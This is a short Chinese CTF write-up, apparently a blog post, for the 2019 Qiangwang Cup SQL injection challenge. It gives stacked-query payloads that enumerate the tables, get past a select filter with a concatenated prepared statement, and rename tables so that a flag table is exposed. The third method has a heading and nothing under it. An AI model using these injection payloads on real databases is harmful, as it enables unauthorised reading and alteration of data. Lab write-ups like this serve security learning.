[强网杯 2019]随便注(三种方法)

[强网杯 2019]随便注(三种方法)

  1. 1';show database; #

  2. 1';show tables;#

  3. 1';show columns from 1919810931114514; # (数据表名为数字,则需要用反引号)

第一种方法 :

储存过程绕过(利用prepare语句):


    1';
    set @a = CONCAT('se','lect * from `1919810931114514`;');  //字符串拼接绕过select过滤
    prepare flag from @a;
    EXECUTE flag;#

第二种方法:

​ 重命名绕过(利用alter语句与rename语句):



    1';
    alter table words rename to words1;
    alter table `1919810931114514` rename to words;
    alter table words change flag id varchar(50);#

第三种方法:

​ handler语句代替select查询:


posted @ 2023-06-08 16:12  Magic水瓶  阅读(36)  评论(0)    收藏  举报